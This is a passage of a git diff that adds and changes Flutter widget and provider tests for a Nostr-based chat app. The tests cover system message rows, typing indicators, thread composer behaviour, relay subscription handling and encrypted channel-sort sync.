+          messages: [_huddleMsg(id: 'huddle-1', kind: EventKind.huddleStarted)],
+          users: {
+            'alice': const UserProfile(pubkey: 'alice', displayName: 'Alice'),
+          },
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      expect(find.text('Alice'), findsOneWidget);
+      expect(findRichText('started a huddle'), findsOneWidget);
+      expect(
+        tester.getSize(find.byType(CircleAvatar)),
+        const Size.square(messageAvatarSize),
+      );
+      expect(
+        find.byKey(const ValueKey('system-message-timestamp-alice')),
+        findsOneWidget,
+      );
+    });
+
+    testWidgets(
+      'keeps membership and huddle rows evenly spaced with authored messages',
+      (tester) async {
+        await tester.pumpWidget(
+          _buildTestable(
+            messages: [
+              _textMsg(
+                id: 'message-alice',
+                pubkey: 'alice',
+                content: 'First message',
+                createdAt: 1000,
+              ),
+              _textMsg(
+                id: 'message-bob',
+                pubkey: 'bob',
+                content: 'Second message',
+                createdAt: 1010,
+              ),
+              _systemMsg(
+                id: 'membership-carol',
+                payload: {
+                  'type': 'member_joined',
+                  'actor': 'alice',
+                  'target': 'carol',
+                },
+                createdAt: 1020,
+              ),
+              _huddleMsg(
+                id: 'huddle-dave',
+                kind: EventKind.huddleStarted,
+                pubkey: 'dave',
+                createdAt: 1030,
+              ),
+              _textMsg(
+                id: 'message-erin',
+                pubkey: 'erin',
+                content: 'Third message',
+                createdAt: 1040,
+              ),
+            ],
+            users: {
+              for (final name in ['alice', 'bob', 'carol', 'dave', 'erin'])
+                name: UserProfile(pubkey: name, displayName: name),
+            },
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        Rect avatarRect(String rowKey) => tester.getRect(
+          find
+              .descendant(
+                of: find.byKey(ValueKey(rowKey)),
+                matching: find.byType(CircleAvatar),
+              )
+              .first,
+        );
+
+        final avatars = [
+          avatarRect('message-row-message-alice'),
+          avatarRect('message-row-message-bob'),
+          avatarRect('system-message-row-membership-carol'),
+          avatarRect('system-message-row-huddle-dave'),
+          avatarRect('message-row-message-erin'),
+        ];
+        final authoredMessageGap = avatars[1].top - avatars[0].bottom;
+
+        for (var index = 2; index < avatars.length; index++) {
+          expect(
+            avatars[index].top - avatars[index - 1].bottom,
+            closeTo(authoredMessageGap, 1),
+            reason: 'row $index should use the authored-message gap',
+          );
+        }
+      },
+    );
+
     testWidgets('renders member_joined (self-join) system event', (
       tester,
     ) async {
@@ -1326,6 +2505,118 @@ void main() {
       );
     });
 
+    testWidgets('opens a profile sheet from a membership system avatar', (
+      tester,
+    ) async {
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: [
+            _systemMsg(
+              id: 'sys-membership-avatar',
+              payload: {
+                'type': 'member_joined',
+                'actor': 'alice',
+                'target': 'bob',
+              },
+            ),
+          ],
+          users: {
+            'alice': const UserProfile(pubkey: 'alice', displayName: 'Alice'),
+            'bob': const UserProfile(pubkey: 'bob', displayName: 'Bob'),
+          },
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      await tester.tap(find.byType(CircleAvatar));
+      await tester.pumpAndSettle();
+
+      expect(find.text('Copy public key'), findsOneWidget);
+      expect(find.text('alice'), findsNothing);
+      expect(find.byType(UserProfileSheet), findsOneWidget);
+
+      TestDefaultBinaryMessengerBinding.instance.defaultBinaryMessenger
+          .setMockMethodCallHandler(SystemChannels.platform, (_) async => null);
+      addTearDown(
+        () => TestDefaultBinaryMessengerBinding.instance.defaultBinaryMessenger
+            .setMockMethodCallHandler(SystemChannels.platform, null),
+      );
+      await tester.ensureVisible(find.text('Copy public key'));
+      await tester.pumpAndSettle();
+      final copyAction = find
+          .ancestor(
+            of: find.text('Copy public key'),
+            matching: find.byType(GestureDetector),
+          )
+          .last;
+      tester.widget<GestureDetector>(copyAction).onTap!();
+      await tester.pump();
+      await tester.pump();
+      expect(find.text('Public key copied'), findsOneWidget);
+
+      await tester.tap(find.byTooltip('Close sheet'));
+      await tester.pumpAndSettle();
+      await tester.pump(const Duration(seconds: 2));
+
+      expect(tester.takeException(), isNull);
+    });
+
+    testWidgets('opens a profile sheet from a huddle system avatar', (
+      tester,
+    ) async {
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: [
+            _huddleMsg(
+              id: 'sys-huddle-avatar',
+              kind: EventKind.huddleStarted,
+              pubkey: 'alice',
+            ),
+          ],
+          users: {
+            'alice': const UserProfile(pubkey: 'alice', displayName: 'Alice'),
+          },
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      await tester.tap(find.byType(CircleAvatar));
+      await tester.pumpAndSettle();
+
+      expect(find.text('Copy public key'), findsOneWidget);
+      expect(find.byType(UserProfileSheet), findsOneWidget);
+    });
+
+    testWidgets('opens a profile sheet from a generic system avatar', (
+      tester,
+    ) async {
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: [
+            _systemMsg(
+              id: 'sys-removed-avatar',
+              payload: {
+                'type': 'member_removed',
+                'actor': 'alice',
+                'target': 'bob',
+              },
+            ),
+          ],
+          users: {
+            'alice': const UserProfile(pubkey: 'alice', displayName: 'Alice'),
+            'bob': const UserProfile(pubkey: 'bob', displayName: 'Bob'),
+          },
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      await tester.tap(find.byType(CircleAvatar).first);
+      await tester.pumpAndSettle();
+
+      expect(find.text('Copy public key'), findsOneWidget);
+      expect(find.byType(UserProfileSheet), findsOneWidget);
+    });
+
     testWidgets('renders member_joined (added by other) system event', (
       tester,
     ) async {
@@ -1865,7 +3156,8 @@ void main() {
           },
         ),
       );
-      await tester.pumpAndSettle();
+      await tester.pump();
+      await tester.pump(const Duration(milliseconds: 200));
 
       expect(find.text('Alice is typing…'), findsOneWidget);
 
@@ -1884,7 +3176,15 @@ void main() {
       expect(decoration.border, isA<Border>());
       expect(
         tester.widget<Text>(find.text('Alice is typing…')).style?.color,
-        AppTheme.light().colorScheme.primary,
+        AppTheme.light().colorScheme.onSurfaceVariant,
+      );
+      expect(
+        tester.widget<Text>(find.text('Alice is typing…')).style?.fontStyle,
+        isNot(FontStyle.italic),
+      );
+      expect(
+        find.byKey(const ValueKey('channel-typing-shimmer')),
+        findsOneWidget,
       );
       expect(tester.widget<SmallAvatar>(find.byType(SmallAvatar)).size, 24);
     });
@@ -1909,7 +3209,8 @@ void main() {
           },
         ),
       );
-      await tester.pumpAndSettle();
+      await tester.pump();
+      await tester.pump(const Duration(milliseconds: 200));
 
       expect(find.text('Alice and Bob are typing…'), findsOneWidget);
     });
@@ -1939,10 +3240,39 @@ void main() {
           },
         ),
       );
-      await tester.pumpAndSettle();
+      await tester.pump();
+      await tester.pump(const Duration(milliseconds: 200));
 
       expect(find.text('Alice and 2 others are typing…'), findsOneWidget);
     });
+
+    testWidgets('keeps typing text static when motion is reduced', (
+      tester,
+    ) async {
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: [],
+          typing: [
+            TypingEntry(
+              pubkey: 'alice',
+              expiresAtMs: DateTime.now().millisecondsSinceEpoch + 8000,
+            ),
+          ],
+          users: {
+            'alice': const UserProfile(pubkey: 'alice', displayName: 'Alice'),
+          },
+          disableAnimations: true,
+        ),
+      );
+      await tester.pump();
+      await tester.pump();
+
+      expect(find.text('Alice is typing…'), findsOneWidget);
+      expect(
+        find.byKey(const ValueKey('channel-typing-shimmer')),
+        findsNothing,
+      );
+    });
   });
 
   group('Compose bar', () {
@@ -1953,7 +3283,7 @@ void main() {
       await tester.pumpAndSettle();
 
       expect(find.byType(TextField), findsNothing);
-      expect(find.byIcon(LucideIcons.arrowUp).hitTestable(), findsNothing);
+      expect(find.byIcon(LucideIcons.arrowUp).hitTestable(), findsOneWidget);
 
       await tester.tap(find.text('Message #general'));
       await tester.pumpAndSettle();
@@ -2334,7 +3664,10 @@ void main() {
         find.byKey(const ValueKey('thread-message-list')),
       );
       expect(threadList.reverse, isFalse);
-      expect(threadList.padding!.bottom, Grid.xs);
+      final threadComposerDockHeight = tester
+          .getSize(find.byKey(const ValueKey('thread-composer-dock')))
+          .height;
+      expect(threadList.padding!.bottom, Grid.xs + threadComposerDockHeight);
       final newestThreadGroup = tester.widget<Padding>(
         find.byKey(const ValueKey('thread-message-group-reply-next-day')),
       );
@@ -2361,6 +3694,96 @@ void main() {
       expect(oldestReplyY, lessThan(newestReplyY));
     });
 
+    testWidgets('thread keeps its tail above a growing composer dock', (
+      tester,
+    ) async {
+      tester.view.physicalSize = const Size(400, 800);
+      tester.view.devicePixelRatio = 1;
+      addTearDown(tester.view.resetPhysicalSize);
+      addTearDown(tester.view.resetDevicePixelRatio);
+
+      final rootEvent = _textMsg(
+        id: 'thread-root',
+        pubkey: 'alice',
+        content: 'Thread root',
+        createdAt: 1000,
+      );
+      final replies = [
+        for (var i = 0; i < 20; i++)
+          _textMsg(
+            id: 'reply-$i',
+            pubkey: 'bob',
+            content: 'Reply $i',
+            createdAt: 1100 + i,
+            extraTags: const [
+              ['e', 'thread-root', '', 'reply'],
+            ],
+          ),
+      ];
+
+      await tester.pumpWidget(
+        _buildTestable(
+          messages: [rootEvent],
+          threadReplies: {'thread-root': replies},
+          users: const {
+            'alice': UserProfile(pubkey: 'alice', displayName: 'Alice'),
+            'bob': UserProfile(pubkey: 'bob', displayName: 'Bob'),
+          },
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      final threadHead = formatTimeline([rootEvent]).single;
+      Navigator.of(tester.element(find.byType(ChannelDetailPage))).push(
+        MaterialPageRoute<void>(
+          builder: (_) => ThreadDetailPage(
+            threadHead: threadHead,
+            allMessages: [threadHead],
+            channelId: _channelId,
+            currentPubkey: 'self',
+            isMember: true,
+            isArchived: false,
+            initialMessageId: 'reply-19',
+          ),
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      final dock = find.byKey(const ValueKey('thread-composer-dock'));
+      final latestReply = find.byKey(
+        const ValueKey('thread-message-group-reply-19'),
+      );
+      final composerSurface = find.byKey(const ValueKey('composer-surface'));
+      final compactDockHeight = tester.getSize(dock).height;
+      expect(latestReply, findsOneWidget);
+      expect(
+        tester.getBottomLeft(latestReply).dy,
+        lessThanOrEqualTo(tester.getTopLeft(composerSurface).dy),
+      );
+
+      await tester.tap(find.text('Reply in thread…').hitTestable());
+      await tester.pumpAndSettle();
+
+      expect(tester.getSize(dock).height, greaterThan(compactDockHeight));
+      expect(latestReply, findsOneWidget);
+      expect(
+        tester.getBottomLeft(latestReply).dy,
+        lessThanOrEqualTo(tester.getTopLeft(composerSurface).dy),
+      );
+
+      // The dock size change above is separate from the later Scaffold
+      // viewport resize caused by the keyboard. Keep following the tail after
+      // that metrics change too.
+      tester.view.viewInsets = const FakeViewPadding(bottom: 300);
+      addTearDown(tester.view.reset);
+      await tester.pumpAndSettle();
+
+      expect(
+        tester.getBottomLeft(latestReply).dy,
+        lessThanOrEqualTo(tester.getTopLeft(composerSurface).dy),
+      );
+    });
+
     testWidgets(
       'initial thread hydration keeps the head visible instead of following the tail',
       (tester) async {
@@ -2429,6 +3852,81 @@ void main() {
       },
     );
 
+    testWidgets(
+      'deep-linking an older reply does not resume tail following on keyboard resize',
+      (tester) async {
+        tester.view.physicalSize = const Size(400, 800);
+        tester.view.devicePixelRatio = 1;
+        addTearDown(tester.view.resetPhysicalSize);
+        addTearDown(tester.view.resetDevicePixelRatio);
+        addTearDown(tester.view.reset);
+
+        final rootEvent = _textMsg(
+          id: 'thread-root',
+          pubkey: 'alice',
+          content: 'Thread root',
+          createdAt: 1000,
+        );
+        final replies = [
+          for (var i = 0; i < 30; i++)
+            _textMsg(
+              id: 'reply-$i',
+              pubkey: 'bob',
+              content: 'Reply $i',
+              createdAt: 1100 + i,
+              extraTags: const [
+                ['e', 'thread-root', '', 'reply'],
+              ],
+            ),
+        ];
+        final completer = Completer<List<NostrEvent>>();
+
+        await tester.pumpWidget(
+          _buildTestable(
+            messages: [rootEvent],
+            pendingThreadReplies: {'thread-root': completer.future},
+            users: const {
+              'alice': UserProfile(pubkey: 'alice', displayName: 'Alice'),
+              'bob': UserProfile(pubkey: 'bob', displayName: 'Bob'),
+            },
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        final threadHead = formatTimeline([rootEvent]).single;
+        final provisionalTarget = formatTimeline([replies[5]]).single;
+        Navigator.of(tester.element(find.byType(ChannelDetailPage))).push(
+          MaterialPageRoute<void>(
+            builder: (_) => ThreadDetailPage(
+              threadHead: threadHead,
+              allMessages: [threadHead, provisionalTarget],
+              channelId: _channelId,
+              currentPubkey: 'self',
+              isMember: true,
+              isArchived: false,
+              initialMessageId: 'reply-5',
+            ),
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        completer.complete(replies);
+        await tester.pumpAndSettle();
+
+        final target = find.byKey(
+          const ValueKey('thread-message-group-reply-5'),
+        );
+        expect(target, findsOneWidget);
+
+        await tester.tap(find.text('Reply in thread…').hitTestable());
+        await tester.pumpAndSettle();
+        tester.view.viewInsets = const FakeViewPadding(bottom: 300);
+        await tester.pumpAndSettle();
+
+        expect(target, findsOneWidget);
+      },
+    );
+
     testWidgets('a reaction landing while the thread is open shows up there', (
       tester,
     ) async {
@@ -2663,10 +4161,19 @@ Channel _channel({required String id, required String name}) => Channel(
 class _FakeMessagesNotifier extends ChannelMessagesNotifier {
   List<NostrEvent> _messages;
   bool _hasLoadedMessages;
-
-  _FakeMessagesNotifier(this._messages, {bool hasLoadedMessages = true})
-    : _hasLoadedMessages = hasLoadedMessages,
-      super(_channelId);
+  final List<List<NostrEvent>> _olderPages;
+  final bool failOlderFetch;
+  int fetchOlderCalls = 0;
+
+  _FakeMessagesNotifier(
+    this._messages, {
+    String channelId = _channelId,
+    bool hasLoadedMessages = true,
+    List<List<NostrEvent>> olderPages = const [],
+    this.failOlderFetch = false,
+  }) : _hasLoadedMessages = hasLoadedMessages,
+       _olderPages = [...olderPages],
+       super(channelId);
 
   @override
   AsyncValue<List<NostrEvent>> build() => AsyncData(_messages);
@@ -2675,10 +4182,17 @@ class _FakeMessagesNotifier extends ChannelMessagesNotifier {
   bool get hasLoadedMessages => _hasLoadedMessages;
 
   @override
-  bool get reachedOldest => true;
+  bool get reachedOldest => _olderPages.isEmpty && !failOlderFetch;
 
   @override
-  Future<bool> fetchOlder() async => false;
+  Future<bool> fetchOlder() async {
+    fetchOlderCalls += 1;
+    if (failOlderFetch || _olderPages.isEmpty) return false;
+    _messages = [..._olderPages.removeAt(0), ..._messages]
+      ..sort((a, b) => a.createdAt.compareTo(b.createdAt));
+    state = AsyncData(_messages);
+    return true;
+  }
 
   void setMessages(List<NostrEvent> messages) {
     _messages = messages;
@@ -2713,7 +4227,8 @@ class _ReconnectingRelaySession extends RelaySessionNotifier {
 
 class _FakeTypingNotifier extends ChannelTypingNotifier {
   final List<TypingEntry> _entries;
-  _FakeTypingNotifier(this._entries) : super(_channelId);
+  _FakeTypingNotifier(this._entries, {String channelId = _channelId})
+    : super(channelId);
 
   @override
   List<TypingEntry> build() => _entries;
@@ -2758,7 +4273,19 @@ class _FakeUserCacheNotifier extends UserCacheNotifier {
 
 class _FakeChannelsNotifier extends ChannelsNotifier {
   List<Channel> _channels;
-  _FakeChannelsNotifier(this._channels);
+  final Map<String, Map<String, ObservedUnreadEvent>> _observedUnread;
+
+  _FakeChannelsNotifier(
+    this._channels, {
+    Map<String, List<ObservedUnreadEvent>> observedUnread = const {},
+  }) : _observedUnread = {
+         for (final entry in observedUnread.entries)
+           entry.key: {for (final event in entry.value) event.id: event},
+       };
+
+  @override
+  Map<String, Map<String, ObservedUnreadEvent>>
+  get observedUnreadEventsByChannel => _observedUnread;
 
   @override
   Future<List<Channel>> build() => SynchronousFuture(_channels);
@@ -2794,6 +4321,42 @@ class _FakeChannelActions extends ChannelActions {
   }
 }
 
+class _RecordingRelaySocket extends RelaySocket {
+  _RecordingRelaySocket()
+    : super(
+        wsUrl: 'wss://relay.example',
+        nsec: null,
+        onMessage: (_) {},
+        onConnected: () {},
+        onDisconnected: (_) {},
+      );
+
+  final List<List<dynamic>> messages = [];
+
+  @override
+  void send(List<dynamic> payload) => messages.add(payload);
+
+  @override
+  void dispose() {}
+}
+
+NostrFilter _filterForChannel(String channelId) => NostrFilter(
+  kinds: EventKind.channelEventKinds,
+  tags: {
+    '#h': [channelId],
+  },
+  limit: 0,
+);
+
+List<String> _replayedChannelIds(_RecordingRelaySocket socket) => socket
+    .messages
+    .where((message) => message.first == 'REQ')
+    .map(
+      (message) =>
+          ((message[2] as Map<String, dynamic>)['#h'] as List).single as String,
+    )
+    .toList();
+
 class _TestNavigatorObserver extends NavigatorObserver {
   int pushCount = 0;
 
diff --git a/mobile/test/features/channels/channel_management_provider_test.dart b/mobile/test/features/channels/channel_management_provider_test.dart
index 4b31de18e8..89659f37e4 100644
--- a/mobile/test/features/channels/channel_management_provider_test.dart
+++ b/mobile/test/features/channels/channel_management_provider_test.dart
@@ -200,6 +200,28 @@ void main() {
     });
   });
 
+  group('build channel lifecycle tags', () {
+    test('archive matches kind 9002 tags', () {
+      expect(buildSetChannelArchivedTags('channel-id', archived: true), [
+        ['h', 'channel-id'],
+        ['archived', 'true'],
+      ]);
+    });
+
+    test('unarchive matches kind 9002 tags', () {
+      expect(buildSetChannelArchivedTags('channel-id', archived: false), [
+        ['h', 'channel-id'],
+        ['archived', 'false'],
+      ]);
+    });
+
+    test('delete matches desktop kind 9008 tags', () {
+      expect(buildDeleteChannelTags('channel-id'), [
+        ['h', 'channel-id'],
+      ]);
+    });
+  });
+
   group('directory providers relay-config invalidation', () {
     NostrEvent profile(String pubkey, String name) => NostrEvent(
       id: '$pubkey-profile',
diff --git a/mobile/test/features/channels/channel_messages_provider_test.dart b/mobile/test/features/channels/channel_messages_provider_test.dart
index 4f4efdce1f..cbeb00182c 100644
--- a/mobile/test/features/channels/channel_messages_provider_test.dart
+++ b/mobile/test/features/channels/channel_messages_provider_test.dart
@@ -7,6 +7,7 @@ import 'package:hooks_riverpod/hooks_riverpod.dart';
 import 'package:buzz/features/channels/channel_messages_provider.dart';
 import 'package:buzz/features/channels/pending_local_messages_provider.dart';
 import 'package:buzz/features/channels/thread_replies_provider.dart';
+import 'package:buzz/features/channels/timeline_message.dart';
 import 'package:buzz/shared/relay/relay.dart';
 
 void main() {
@@ -572,6 +573,106 @@ void main() {
     },
   );
 
+  test(
+    'a live reply reaches the store so its parent badge can count it',
+    () async {
+      final relaySession = _RecordingRelaySessionNotifier(
+        queryResults: [
+          [_event(id: 'root', createdAt: 10), _bounds()],
+        ],
+      );
+      final container = _buildContainer(relaySession);
+      addTearDown(container.dispose);
+
+      container.read(channelMessagesProvider(_channelId));
+      await relaySession.subscribed;
+      await _pumpEventQueue();
+
+      relaySession.emit(
+        _event(
+          id: 'reply',
+          createdAt: 20,
+          extraTags: const [
+            ['e', 'root', '', 'reply'],
+          ],
+        ),
+      );
+      await _pumpEventQueue();
+
+      // The reply is retained as the local half of the summary merge. It is
+      // filtered out of the main timeline by `buildMainTimelineEntries`, which
+      // owns reply visibility.
+      expect(
+        container
+            .read(channelMessagesProvider(_channelId))
+            .value
+            ?.map((event) => event.id),
+        ['root', 'reply'],
+      );
+      expect(
+        buildMainTimelineEntries(
+          formatTimeline(
+            container.read(channelMessagesProvider(_channelId)).value!,
+          ),
+          relaySummaries: container
+              .read(channelMessagesProvider(_channelId).notifier)
+              .threadSummaries,
+        ).map((entry) => entry.message.id),
+        ['root'],
+      );
+    },
+  );
+
+  test('a reply newer than the relay recount raises the badge', () async {
+    final relaySession = _RecordingRelaySessionNotifier(
+      queryResults: [
+        [_event(id: 'root', createdAt: 10), _bounds()],
+      ],
+    );
+    final container = _buildContainer(relaySession);
+    addTearDown(container.dispose);
+
+    container.read(channelMessagesProvider(_channelId));
+    await relaySession.subscribed;
+    await _pumpEventQueue();
+
+    relaySession.emit(
+      _event(
+        id: 'reply-1',
+        createdAt: 20,
+        extraTags: const [
+          ['e', 'root', '', 'reply'],
+        ],
+      ),
+    );
+    relaySession.emit(_summary(rootId: 'root', replyCount: 1, createdAt: 20));
+    // A second reply lands, and its recount is lost or still in flight.
+    relaySession.emit(
+      _event(
+        id: 'reply-2',
+        createdAt: 21,
+        extraTags: const [
+          ['e', 'root', '', 'reply'],
+        ],
+      ),
+    );
+    await _pumpEventQueue();
+
+    final notifier = container.read(
+      channelMessagesProvider(_channelId).notifier,
+    );
+    expect(notifier.threadSummaries['root']?.replyCount, 1);
+    final entries = buildMainTimelineEntries(
+      formatTimeline(
+        container.read(channelMessagesProvider(_channelId)).value!,
+      ),
+      relaySummaries: notifier.threadSummaries,
+    );
+    expect(entries.single.message.id, 'root');
+    expect(entries.single.summary!.replyCount, 2);
+    expect(entries.single.summary!.lastReplyAt, 21);
+  });
+
   test('window pagination failures return false without exhausting', () async {
     final relaySession = _RecordingRelaySessionNotifier(
       queryResults: [
diff --git a/mobile/test/features/channels/channel_sections/channel_sections_manager_test.dart b/mobile/test/features/channels/channel_sections/channel_sections_manager_test.dart
index 5b36ed6a4d..16d1936d39 100644
--- a/mobile/test/features/channels/channel_sections/channel_sections_manager_test.dart
+++ b/mobile/test/features/channels/channel_sections/channel_sections_manager_test.dart
@@ -1,3 +1,4 @@
+import 'dart:async';
 import 'dart:convert';
 
 import 'package:flutter_test/flutter_test.dart';
@@ -199,6 +200,46 @@ void main() {
     expect(relay.subscribeCalls, 1, reason: 'no re-subscribe after dispose');
   });
 
+  test(
+    'dispose while subscribe is pending closes the late subscription',
+    () async {
+      await setUpEnv();
+      final relay = _DelayedSubscribeRelaySession();
+      final manager = buildManager(relaySession: relay);
+
+      final initializing = manager.initialize();
+      await relay.subscribeStarted.future;
+      manager.dispose(flushPending: false);
+      relay.completeSubscribe();
+      await initializing;
+
+      expect(relay.activeListeners, 0);
+      expect(relay.unsubscribeCalls, 1);
+    },
+  );
+
+  test(
+    'a retry request during an in-flight sync does not overlap subscribe',
+    () async {
+      await setUpEnv();
+      final relay = _DelayedSubscribeRelaySession();
+      final manager = buildManager(relaySession: relay);
+
+      final initializing = manager.initialize();
+      await relay.subscribeStarted.future;
+      relay.closePendingSubscription('rate-limited: quota exceeded');
+      await Future<void>.delayed(const Duration(milliseconds: 20));
+
+      expect(relay.subscribeCalls, 1);
+      relay.completeSubscribe();
+      await initializing;
+      await _waitUntil(() => relay.subscribeCalls == 2);
+      expect(relay.maxConcurrentSubscribes, 1);
+      expect(relay.activeListeners, 1);
+      manager.dispose(flushPending: false);
+    },
+  );
+
   test('backoff resets after full recovery so later failures start from the '
       'base delay', () async {
     await setUpEnv();
@@ -242,6 +283,60 @@ Future<void> _waitUntil(
   }
 }
 
+class _DelayedSubscribeRelaySession extends RelaySessionNotifier {
+  final subscribeStarted = Completer<void>();
+  Completer<void Function()>? _pendingSubscribe;
+  void Function(String)? _pendingOnClosed;
+  int subscribeCalls = 0;
+  int concurrentSubscribes = 0;
+  int maxConcurrentSubscribes = 0;
+  int activeListeners = 0;
+  int unsubscribeCalls = 0;
+
+  @override
+  Future<List<NostrEvent>> fetchHistory(
+    NostrFilter filter, {
+    Duration timeout = const Duration(seconds: 8),
+  }) async => const [];
+
+  @override
+  Future<void Function()> subscribe(
+    NostrFilter filter,
+    void Function(NostrEvent) onEvent, {
+    void Function(String message)? onClosed,
+  }) {
+    subscribeCalls++;
+    concurrentSubscribes++;
+    if (concurrentSubscribes > maxConcurrentSubscribes) {
+      maxConcurrentSubscribes = concurrentSubscribes;
+    }
+    if (!subscribeStarted.isCompleted) subscribeStarted.complete();
+    _pendingOnClosed = onClosed;
+    if (subscribeCalls > 1) {
+      concurrentSubscribes--;
+      activeListeners++;
+      return Future.value(_unsubscribe);
+    }
+    _pendingSubscribe = Completer<void Function()>();
+    return _pendingSubscribe!.future.whenComplete(() {
+      concurrentSubscribes--;
+    });
+  }
+
+  void closePendingSubscription(String message) =>
+      _pendingOnClosed?.call(message);
+
+  void completeSubscribe() {
+    activeListeners++;
+    _pendingSubscribe!.complete(_unsubscribe);
+  }
+
+  void _unsubscribe() {
+    activeListeners--;
+    unsubscribeCalls++;
+  }
+}
+
 /// Rejects the first [failuresBeforeSuccess] fetch and subscribe calls with
 /// the relay's rate-limit error, then succeeds — the exact failure mode seen
 /// on Android cold start where the channel-list REQ burst exhausts the
diff --git a/mobile/test/features/channels/channel_sort/channel_sort_manager_test.dart b/mobile/test/features/channels/channel_sort/channel_sort_manager_test.dart
new file mode 100644
index 0000000000..b409942808
--- /dev/null
+++ b/mobile/test/features/channels/channel_sort/channel_sort_manager_test.dart
@@ -0,0 +1,377 @@
+import 'dart:async';
+import 'dart:convert';
+
+import 'package:buzz/features/channels/channel_sort/channel_sort_manager.dart';
+import 'package:buzz/features/channels/channel_sort/channel_sort_storage.dart';
+import 'package:buzz/shared/relay/relay.dart';
+import 'package:flutter_test/flutter_test.dart';
+import 'package:nostr/nostr.dart' as nostr;
+import 'package:shared_preferences/shared_preferences.dart';
+
+void main() {
+  late SharedPreferences prefs;
+  late nostr.Keys keys;
+  late ChannelSortCrypto crypto;
+
+  setUp(() async {
+    SharedPreferences.setMockInitialValues({});
+    prefs = await SharedPreferences.getInstance();
+    keys = nostr.Keys.generate();
+    crypto = ChannelSortCrypto(keys.nsec, keys.public);
+  });
+
+  NostrEvent event(
+    Map<String, String> groups,
+    int createdAt, {
+    String id = 'e',
+  }) => NostrEvent(
+    id: id,
+    pubkey: keys.public,
+    createdAt: createdAt,
+    kind: EventKind.readState,
+    tags: const [
+      ['d', 'channel-sort'],
+    ],
+    content: crypto.encrypt(jsonEncode({'version': 1, 'groups': groups})),
+    sig: 'sig',
+  );
+
+  ChannelSortManager manager(
+    _FakeRelaySession relay,
+    _RecordingSignedEventRelay signed, {
+    Duration retry = const Duration(milliseconds: 5),
+  }) => ChannelSortManager(
+    pubkey: keys.public,
+    relayUrl: 'wss://relay.example',
+    prefs: prefs,
+    crypto: crypto,
+    relaySession: relay,
+    signedEventRelay: signed,
+    remoteEnabled: true,
+    onChanged: () {},
+    startupRetryBaseDelay: retry,
+    publishDelay: const Duration(milliseconds: 5),
+  );
+
+  test(
+    'adopts desktop payload and defaults unspecified groups to alpha',
+    () async {
+      final relay = _FakeRelaySession()
+        ..historyEvents = [
+          event({'channels': 'recent', 'section:abc': 'recent'}, 100),
+        ];
+      final subject = manager(relay, _RecordingSignedEventRelay());
+      await subject.initialize();
+      expect(subject.sortModeFor('channels'), ChannelSortMode.recent);
+      expect(subject.sortModeFor('section:abc'), ChannelSortMode.recent);
+      expect(subject.sortModeFor('dms'), ChannelSortMode.alpha);
+      subject.dispose();
+    },
+  );
+
+  test('publishes local edit using desktop encrypted wire format', () async {
+    final relay = _FakeRelaySession();
+    final signed = _RecordingSignedEventRelay();
+    final subject = manager(relay, signed);
+    await subject.initialize();
+    subject.setSortModeFor('dms', ChannelSortMode.recent);
+    final submitted = await signed.submitted.future.timeout(
+      const Duration(seconds: 1),
+    );
+    expect(
+      submitted.tags.any((tag) => tag[0] == 'd' && tag[1] == 'channel-sort'),
+      isTrue,
+    );
+    final payload =
+        jsonDecode(crypto.decrypt(submitted.content)) as Map<String, dynamic>;
+    expect(payload, {
+      'version': 1,
+      'groups': {'dms': 'recent'},
+    });
+    subject.dispose();
+  });
+
+  test(
+    'failed publish preflight retries without submitting stale state',
+    () async {
+      final relay = _FakeRelaySession();
+      final signed = _RecordingSignedEventRelay();
+      final subject = manager(relay, signed);
+      await subject.initialize();
+
+      relay.fetchFailures = 1;
+      subject.setSortModeFor('dms', ChannelSortMode.recent);
+      await Future<void>.delayed(const Duration(milliseconds: 8));
+      expect(signed.submitCount, 0);
+
+      final submitted = await signed.submitted.future.timeout(
+        const Duration(seconds: 1),
+      );
+      expect(relay.fetchCount, greaterThanOrEqualTo(4));
+      final payload =
+          jsonDecode(crypto.decrypt(submitted.content)) as Map<String, dynamic>;
+      expect(payload['groups'], {'dms': 'recent'});
+      subject.dispose();
+    },
+  );
+
+  test(
+    'pending local edit survives manager rebuild and older relay state',
+    () async {
+      final firstRelay = _FakeRelaySession();
+      final first = manager(firstRelay, _RecordingSignedEventRelay());
+      await first.initialize();
+      first.setSortModeFor('channels', ChannelSortMode.recent);
+      first.dispose();
+
+      final secondRelay = _FakeRelaySession()
+        ..historyEvents = [
+          event({'dms': 'recent'}, 100),
+        ];
+      final signed = _RecordingSignedEventRelay();
+      final second = manager(secondRelay, signed);
+      await second.initialize();
+
+      expect(second.store.groups, {'channels': ChannelSortMode.recent});
+      final submitted = await signed.submitted.future.timeout(
+        const Duration(seconds: 1),
+      );
+      final payload =
+          jsonDecode(crypto.decrypt(submitted.content)) as Map<String, dynamic>;
+      expect(payload['groups'], {'channels': 'recent'});
+      second.dispose();
+    },
+  );
+
+  test('newer remote event cancels pending local whole-blob write', () async {
+    final relay = _FakeRelaySession();
+    final signed = _RecordingSignedEventRelay();
+    final subject = manager(relay, signed);
+    await subject.initialize();
+    subject.setSortModeFor('channels', ChannelSortMode.recent);
+    relay.emit(
+      event({
+        'dms': 'recent',
+      }, DateTime.now().millisecondsSinceEpoch ~/ 1000 + 1),
+    );
+    await Future<void>.delayed(const Duration(milliseconds: 30));
+    expect(subject.store.groups, {'dms': ChannelSortMode.recent});
+    expect(signed.submitted.isCompleted, isFalse);
+    subject.dispose();
+  });
+
+  test('same-second remote does not erase a pending local edit', () async {
+    final now = DateTime.now().millisecondsSinceEpoch ~/ 1000;
+    ChannelSortStorage(prefs).writeSyncState(
+      keys.public,
+      'wss://relay.example',
+      ChannelSortSyncState(updatedAt: now - 1, eventId: 'remote'),
+    );
+    final relay = _FakeRelaySession();
+    final signed = _RecordingSignedEventRelay();
+    final subject = manager(relay, signed);
+    await subject.initialize();
+
+    subject.setSortModeFor('channels', ChannelSortMode.recent);
+    relay.emit(event({'dms': 'recent'}, now, id: 'a'));
